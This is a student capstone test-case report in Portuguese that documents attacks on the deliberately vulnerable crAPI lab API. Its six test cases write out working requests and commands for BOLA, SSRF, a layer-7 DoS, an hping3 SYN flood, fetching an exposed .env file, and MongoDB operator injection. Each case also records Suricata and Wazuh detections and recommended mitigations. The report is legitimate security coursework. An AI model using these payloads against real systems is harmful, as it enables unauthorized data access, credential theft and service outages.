

IPOG Instituto de Pós-Graduação e Graduação
Projeto Integrador Cibersegurança

TABELA DE CASOS DE TESTE

Vulnerabilidades crAPI OWASP API Security Top 10

Mapeamento: Endpoint → Payload → IoC Esperado → Resultado Obtido

Professor orientador: Rodrigo Muniz
Aluno: Arlindo
Maio / 2026 Goiânia, GO

Introdução

Este documento registra os casos de teste elaborados para validação das vulnerabilidades identificadas na plataforma crAPI durante a Semana 2 do Projeto Integrador. Cada caso de teste define o endpoint alvo, o payload utilizado, os indicadores de comprometimento (IoCs) esperados e o critério de sucesso. Os resultados obtidos foram registrados durante a execução dos testes ofensivos nas Semanas 3 e 4.

ID	Vulnerabilidade	OWASP	Severidade	Status	Resultado
CT-01	BOLA / IDOR	API1:2023	Alta	Executado	Vulnerável ✓
CT-02	SSRF	API7:2023	Alta	Executado	Vulnerável ✓
CT-03	Rate Limit DoS L7	API4:2023	Alta	Executado	Vulnerável ✓
CT-04	SYN Flood DoS L4	API4:2023	Alta	Executado	Detectado ✓
CT-05	Exposição de .env	API8:2023	Crítica	Executado	Vulnerável ✓
CT-06	NoSQL Injection	API3:2023	Média	Executado	Vulnerável ✓

CT-01 BOLA / IDOR

CT-01	BOLA Broken Object Level Authorization	OWASP API1:2023	Severidade: Alta
-------	--	-----------------	------------------

Objetivo do teste	Verificar se um usuário autenticado pode acessar dados de localização de veículos pertencentes a outros usuários sem autorização explícita.
Endpoint alvo	GET /identity/api/v2/vehicle/{vehicleId}/location
Pré-condição	Usuário autenticado com token JWT válido. vehicleId de outro usuário obtido via fórum da comunidade crAPI (/community).
Payload / Requisição	GET /identity/api/v2/vehicle/f89b5f21-7829-45cb-a650-299a61090378/location HTTP/1.1 Host: 192.168.23.133:8888 Authorization: Bearer <token_do_atacante> Content-Type: application/json
IoCs esperados	• HTTP 200 OK (esperado: 403 Forbidden) • Resposta contendo latitude, longitude, nome e e-mail do usuário vítima • SID Suricata 9000001 disparado no eve.json • Wazuh rule 100001 level 12 gerado
Critério de sucesso	Retorno HTTP 200 com dados de geolocalização e informações pessoais do usuário proprietário do veículo sem ser esse usuário.
Resultado obtido	✓ HTTP 200 OK ✓ Resposta: {"vehicleLocation":{"latitude":"32.778889","longitude":"-91.919243"},"fullName":"Adam","email":"adam007@example.com"} ✓ SID 9000001 disparado confirmado no eve.json ✓ Wazuh rule 100001 level 12 visível no dashboard
Ferramenta utilizada	Burp Suite Repeater / cURL Kali Linux 192.168.23.134
Status	VULNERÁVEL sem controle de autorização por objeto (ownership check ausente)
Mitigação recomendada	Validar no servidor se o vehicleId pertence ao userId do token JWT antes de retornar qualquer dado.

CT-02 SSRF

CT-02	SSRF Server-Side Request Forgery	OWASP API7:2023	Severidade: Alta
-------	----------------------------------	-----------------	------------------

Objetivo do teste	Verificar se o parâmetro mechanic_api aceita URLs externas e se o servidor realiza requisições a essas URLs sem validação.
Endpoint alvo	POST /workshop/api/merchant/contact_mechanic
Pré-condição	Usuário autenticado com token JWT válido.
Payload / Requisição	POST /workshop/api/merchant/contact_mechanic HTTP/1.1 Host: 192.168.23.133:8888 Authorization: Bearer <token> Content-Type: application/json { "mechanic_api": "https://www.google.com", "repeat_request_if_failed": false, "number_of_repeats": 1 }
IoCs esperados	• HTTP 200 OK com conteúdo de URL externa na resposta • Campo response_from_mechanic_api contendo HTML externo • SID Suricata 9000003 disparado • Wazuh rule 100003 level 15 gerado
Critério de sucesso	Resposta HTTP 200 contendo HTML ou conteúdo da URL externa fornecida pelo atacante confirma que o servidor buscou a URL.
Resultado obtido	✓ HTTP 200 OK ✓ response_from_mechanic_api: "<!doctype html><html..." (2.549 bytes do Google) ✓ SID 9000003 disparado confirmado no eve.json ✓ Wazuh rule 100003 level 15 visível no dashboard
Ferramenta utilizada	Burp Suite Repeater / cURL Kali Linux 192.168.23.134
Status	VULNERÁVEL servidor busca qualquer URL sem validação ou allowlist
Mitigação recomendada	Implementar allowlist de domínios permitidos para mechanic_api. Bloquear RFC 1918 e metadados de nuvem.

CT-03 Rate Limit Abuse / DoS Camada 7

CT-03	Rate Limit Abuse DoS L7	OWASP API4:2023	Severidade: Alta
--------------	--------------------------------	------------------------	-------------------------

Objetivo do teste	Verificar se a API permite que um único usuário cause indisponibilidade do serviço via abuso do parâmetro repeat_request_if_failed.
Endpoint alvo	POST /workshop/api/merchant/contact_mechanic
Pré-condição	Usuário autenticado com token JWT válido.
Payload / Requisição	POST /workshop/api/merchant/contact_mechanic HTTP/1.1

	Host: 192.168.23.133:8888 Authorization: Bearer <token> Content-Type: application/json {"mechanic_api":"http://192.168.23.134/test", "repeat_request_if_failed":true, "number_of_repeats":1000}
IoCs esperados	• HTTP 503 Service Unavailable • Mensagem: 'Service unavailable. Seems like you caused layer 7 DoS' • SID Suricata 9000002 disparado • Wazuh rule 100002 level 14 gerado
Critério de sucesso	Retorno HTTP 503 confirmando indisponibilidade do serviço causada por um único usuário não privilegiado.
Resultado obtido	✓ HTTP 503 Service Unavailable ✓ Mensagem: {"message":"Service unavailable. Seems like you caused layer 7 DoS :)"} ✓ SID 9000002 disparado confirmado no eve.json ✓ Wazuh rule 100002 level 14 visível no dashboard ✓ Teste adicional: slowhttptest 1.000 conexões simultâneas por 43 segundos
Ferramenta utilizada	Burp Suite Repeater + slowhttptest Kali Linux 192.168.23.134
Status	VULNERÁVEL sem rate-limit na aplicação; parâmetro repeat aceita até 1.000 repetições
Mitigação recomendada	Rate-limit por IP/usuário/rota via nginx. Limitar number_of_repeats ≤ 3 na aplicação.

CT-04 SYN Flood / DoS Camada 4

CT-04	SYN Flood DoS Camada 4	OWASP API4:2023	Severidade: Alta
--------------	-------------------------------	------------------------	-------------------------

Objetivo do teste	Avaliar a capacidade de detecção do IDS Suricata frente a um ataque de SYN Flood de alta volumetria originado do host Kali.
Alvo	192.168.23.133 porta 8888
Pré-condição	Acesso de rede entre Kali (192.168.23.134) e labcrapi (192.168.23.133).
Comando utilizado	hping3 -S --flood -V -p 8888 192.168.23.133 Duração: ~60 segundos Pacotes enviados: 3.807.351
IoCs esperados	• Alertas Suricata: SURICATA STREAM 3way handshake SYN resend

	• Volume de pacotes TCP SYN sem ACK correspondente • Spike de alertas no dashboard Wazuh • Possível degradação de serviço
Critério de sucesso	Suricata detectar e registrar os alertas de SYN Flood no eve.json com quantidade superior a 1.000 eventos.
Resultado obtido	✓ 3.807.351 pacotes SYN enviados ✓ 8.515 alertas gerados no Suricata ✓ Spike visível no dashboard Wazuh (20h pico de eventos) ✓ Alertas: SURICATA STREAM 3way handshake SYNACK resend diff ack Sem regra específica custom para SYN Flood detectado pelas regras Emerging Threats genéricas
Ferramenta utilizada	hping3 Kali Linux 192.168.23.134
Status	DETECTADO Suricata registrou o ataque com sucesso via regras ET
Mitigação recomendada	Configurar SYN cookies no kernel Linux. Implementar firewall com limit de pacotes SYN por IP.

CT-05 Exposição de Credenciais (.env)

CT-05	Exposição de Credenciais Arquivo .env	OWASP API8:2023 / CWE-312	Severidade: Crítica
--------------	---	---------------------------	----------------------------

Objetivo do teste	Verificar se arquivos de configuração sensíveis estão acessíveis publicamente via HTTP sem autenticação.
Endpoint alvo	GET /.env
Pré-condição	Acesso HTTP à porta 8888 do labcrapi sem autenticação.
Payload / Requisição	GET /.env HTTP/1.1 Host: 192.168.23.133:8888 User-Agent: curl/8.18.0
IoCs esperados	• HTTP 200 OK (esperado: 403 Forbidden ou 404 Not Found) • Resposta contendo variáveis de ambiente com senhas em plaintext • DB_PASSWORD e MONGO_DB_PASSWORD visíveis
Critério de sucesso	Retorno HTTP 200 com conteúdo do arquivo .env contendo credenciais de banco de dados.
Resultado obtido	✓ HTTP 200 OK Server: openresty/1.29.2.3 ✓ DB_NAME=crapi / DB_USER=crapi / DB_PASSWORD=crapi ✓ MONGO_DB_HOST=mongodb / MONGO_DB_USER=crapi / MONGO_DB_PASSWORD=crapi ✓ Descoberto automaticamente pelo Nuclei (templates de exposição de configuração)

	APÓS CORREÇÃO (nginx porta 9090): ✓ HTTP 403 Forbidden bloqueado pelo nginx ✓ Headers de segurança presentes na resposta
Ferramenta utilizada	Nuclei v3.8.0 + cURL Kali Linux 192.168.23.134
Status	VULNERÁVEL antes da correção / CORRIGIDO após implementação do nginx
Mitigação recomendada	Remover .env do webroot. Usar Docker secrets ou vault para variáveis de ambiente. Bloquear extensões sensíveis no nginx.

CT-06 NoSQL Injection

CT-06	NoSQL Injection Obtenção de Cupom	OWASP API3:2023 / CWE-943	Severidade: Média
--------------	--	----------------------------------	--------------------------

Objetivo do teste	Verificar se o endpoint de validação de cupons é vulnerável a injeção de operadores MongoDB, permitindo obter cupons sem conhecer os códigos válidos.
Endpoint alvo	POST /community/api/v2/coupon/validate-coupon
Pré-condição	Usuário autenticado com token JWT válido.
Payloads testados	1. {"coupon_code": {"\$gt": ""}} → operador maior-que vazio 2. {"coupon_code": {"\$ne": "invalid"}} → operador diferente-de 3. {"coupon_code": {"\$regex": ".*"}} → regex que casa tudo 4. {"coupon_code": {"\$where": "1==1"}} → execução de JavaScript 5. {"coupon_code": "" OR '1'=1"} → SQL injection (controle)
IoCs esperados	• HTTP 200 com cupom válido retornado sem conhecer o código • Campo coupon_code preenchido na resposta • HTTP 500 para payloads não suportados pelo MongoDB
Critério de sucesso	Payload 1, 2 ou 3 retorna HTTP 200 com cupom válido e valor de desconto.
Resultado obtido	✓ Payload \$gt: HTTP 200 {"coupon_code":"TRAC075","amount":"75","CreatedAt":"2026-05-23..."} ✓ Payload \$ne: HTTP 200 {"coupon_code":"TRAC075","amount":"75"} ✓ Payload \$regex: HTTP 200 {"coupon_code":"TRAC075","amount":"75"} ✗ Payload \$where: HTTP 500 operador não suportado ✗ SQL injection: HTTP 500 confirma banco NoSQL (MongoDB) Resultado: Cupom TRAC075 (R\$ 75,00) obtido sem código válido
Ferramenta utilizada	Script Python custom Kali Linux 192.168.23.134

Status	VULNERÁVEL endpoint não sanitiza operadores MongoDB na entrada
Mitigação recomendada	Validar e sanitizar todos os inputs. Usar queries parametrizadas. Rejeitar chaves que iniciem com '\$'.

Resumo de Resultados

Todos os 6 casos de teste foram executados com sucesso. Os casos CT-01, CT-02, CT-03, CT-05 e CT-06 confirmaram vulnerabilidades exploráveis. O caso CT-04 validou a capacidade de detecção do Suricata frente a ataques de rede volumétricos.

ID	Vulnerabilidade	Resultado	Detectado	Corrigido
CT-01	BOLA / IDOR	Vulnerável	✓ SID 9000001	Proposta: ownership check no servidor
CT-02	SSRF	Vulnerável	✓ SID 9000003	Proposta: allowlist de domínios
CT-03	Rate Limit DoS L7	Vulnerável	✓ SID 9000002	Aplicado: nginx rate-limit HTTP 429
CT-04	SYN Flood DoS L4	Detectado	✓ 8.515 alertas ET	Proposta: SYN cookies + iptables
CT-05	Credenciais .env expostas	Vulnerável → Corrigido	✓ Nuclei	Aplicado: nginx bloqueia .env HTTP 403
CT-06	NoSQL Injection	Vulnerável	Script Python	Proposta: sanitização de input MongoDB